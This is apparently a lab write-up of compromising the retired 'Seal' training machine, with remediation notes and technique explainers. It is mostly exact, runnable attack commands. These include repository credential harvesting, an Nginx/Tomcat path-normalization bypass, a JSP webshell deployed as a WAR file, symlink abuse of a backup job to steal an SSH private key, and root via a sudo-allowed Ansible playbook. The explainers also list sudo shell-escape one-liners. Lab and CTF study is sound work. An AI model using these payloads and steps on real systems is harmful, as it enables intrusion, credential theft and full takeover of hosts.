Seal
Summary
I scanned the target and found three services: SSH, an nginx HTTPS reverse proxy enforcing mutual-TLS client certificates, and a GitBucket source-code host on port 8080. Open self-registration on GitBucket allowed any visitor to create an account and browse private infrastructure repositories; the commit history of one repository contained plaintext Tomcat Manager credentials.
An Nginx path-normalization flaw — where semicolon path-parameter segments caused Nginx to misroute requests — let me reach the Tomcat Manager endpoint that mutual-TLS was meant to gate, using only those leaked credentials. A malicious WAR file was deployed through Manager, producing remote code execution as the Tomcat service account.
That account had write access to an upload directory periodically archived by a privileged Ansible backup job that followed symlinks; planting a symlink pointing at the next user's SSH private key caused the key to be bundled into the next archive, from which it was recovered via the webshell. SSH access as that user revealed an unrestricted passwordless sudo rule for ansible-playbook, which was abused to run my own shell commands as root, completing full system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 2
nmap -Pn -sV -p 22,443,8080 --script ssl-cert,http-title $TARGETecho "$TARGET seal.htb" | sudo tee -a /etc/hostsExact commands 4
curl -sS -c gb.cookie "http://$TARGET:8080/register" --data-urlencode 'userName=codexrace' --data-urlencode "password=$PASSWORD" --data-urlencode 'fullName=Test'curl -sS -b gb.cookie -c gb.cookie -X POST "http://$TARGET:8080/signin" --data-urlencode 'userName=codexrace' --data-urlencode "password=$PASSWORD"curl -sS -b gb.cookie "http://$TARGET:8080/api/v3/repositories"git clone http://$USERNAME:$PASSWORD@$TARGET:8080/git/root/infra.git /tmp/infra && git clone http://$USERNAME:$PASSWORD@$TARGET:8080/git/root/seal_market.git /tmp/seal_marketFixDisable or gate GitBucket self-registration and restrict repository visibilityHigh
Exact commands 2
git -C /tmp/infra log --all --onelinegit -C /tmp/infra log --all -p | grep -A5 -B5 -i 'password\|42Mr\|tomcat-users\|manager'FixRotate exposed credentials and prevent secrets from entering version controlCritical
Exact commands 1
curl -sk -u 'tomcat:$PASSWORD2' --resolve seal.htb:443:$TARGET -D - -o /dev/null 'https://seal.htb/manager/status/..;/html'FixEliminate the Nginx/Tomcat path-normalization bypass and isolate Tomcat Manager from direct network accessCritical
Exact commands 4
mkdir -p /tmp/codexwar && printf '<%@page import="java.io.*"%><%String c=request.getParameter("c");Process p=Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",c});BufferedReader r=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=r.readLine())!=null)out.println(l);%%>' > /tmp/codexwar/cmd.jspjar cf /tmp/codex.war -C /tmp/codexwar .curl -sk --resolve seal.htb:443:$TARGET -u 'tomcat:$PASSWORD2' -F 'war=@/tmp/codex.war' 'https://seal.htb/manager/text/deploy?path=/codex&update=true'curl -sk --resolve seal.htb:443:$TARGET --get --data-urlencode 'c=id && hostname' 'https://seal.htb/codex/cmd.jsp'Exact commands 4
curl -sk --resolve seal.htb:443:$TARGET --get --data-urlencode 'c=ls -la /opt/backups/archives/ && ls -la /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/' 'https://seal.htb/codex/cmd.jsp'curl -sk --resolve seal.htb:443:$TARGET --get --data-urlencode 'c=ln -sf /home/luis/.ssh/id_rsa /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/codex_luis_id_rsa' 'https://seal.htb/codex/cmd.jsp'curl -sk --max-time 12 --resolve seal.htb:443:$TARGET --get --data-urlencode 'c=tar -xOzf /opt/backups/archives/backup-2026-07-14-08:25:31.gz dashboard/uploads/codex_luis_id_rsa | base64 -w0' 'https://seal.htb/codex/cmd.jsp' | base64 -d > /tmp/luis_id_rsa && chmod 600 /tmp/luis_id_rsassh -i /tmp/luis_id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null luis@$TARGET 'cat /home/luis/user.txt'FixRestrict upload directory permissions and disable symlink-following in the Ansible backup jobHigh
Exact commands 4
ssh -i /tmp/luis_id_rsa -o StrictHostKeyChecking=no luis@$TARGET 'sudo -n -l'cat > /tmp/root.yml << 'EOF'
- hosts: localhost
gather_facts: false
tasks:
- name: root proof
shell: id && cat /root/root.txt
register: proof
- debug:
var: proof.stdout_lines
EOFscp -i /tmp/luis_id_rsa -o StrictHostKeyChecking=no /tmp/root.yml luis@$TARGET:/tmp/root.ymlssh -i /tmp/luis_id_rsa -o StrictHostKeyChecking=no luis@$TARGET 'sudo -n /usr/bin/ansible-playbook /tmp/root.yml'FixRemove or strictly scope the unrestricted passwordless sudo rule for ansible-playbookCritical
Attack patterns used
The transferable techniques behind this compromise.
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
Tomcat Manager WAR DeployWeb · Service RCET1190
What it is
Apache Tomcat's Manager application allows deploying web applications. With valid (often default/weak) manager credentials, an unauthorised user uploads a malicious WAR file containing a JSP webshell, which Tomcat deploys and executes — code execution as the Tomcat service user.
Why it works
The Manager app is exposed with default or guessable credentials (tomcat:tomcat, admin:admin) and the deploy feature is RCE by design. Remediate by removing/locking down the Manager app, using strong credentials, and binding it to localhost.